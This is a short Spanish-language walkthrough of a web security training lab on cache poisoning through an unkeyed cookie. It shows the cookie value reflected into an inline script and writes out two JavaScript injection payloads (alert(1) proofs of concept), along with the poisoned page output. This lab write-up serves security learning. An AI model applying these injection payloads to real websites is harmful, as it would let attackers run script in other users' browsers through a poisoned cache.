Skip to content

Web cache poisoning with an unkeyed cookie ​

20260225234842.png

LAB ​

Observamos que el sitio web que maneja la cache para que se cargan los recursos.

20260225234950.png

Tenemos en la cabecera de Cookie el valor de fehost= es reflejado.

20260226000638.png

El cual podemos manipular y asi ejecutar codigo javascript.

20260226002033.png

Al inyectar nuestro javascript -alert(1)- podemos ejecutar un alert al recargar el sitio web:

c
Cookie: session=IMJTcStx99xvOVaFtSRmSO6ZNVm4PbMz; fehost=test"-alert(1)-"aaaa

data = {"host":"0a5200a704d8bd56807b0ddf00c50040.web-security-academy.net","path":"/","frontend":"test"-alert(1)-"aaaa"}

20260226002048.png

20260226002556.png

c
        <script>
            data = {"host":"0a5200a704d8bd56807b0ddf00c50040.web-security-academy.net","path":"/","frontend":"test"-alert(1)-"aaaa"}
        </script>

Otra manera:

20260226003125.png

c
Cookie: session=IMJTcStx99xvOVaFtSRmSO6ZNVm4PbMz; fehost=test"}</script><script>alert(1)//
c
.
.
.
       <script>
            data = {"host":"0a5200a704d8bd56807b0ddf00c50040.web-security-academy.net","path":"/","frontend":"test"}</script><script>alert(1)//"}
        </script>
        <title>Web cache poisoning with an unkeyed cookie</title>
        .
        .
        .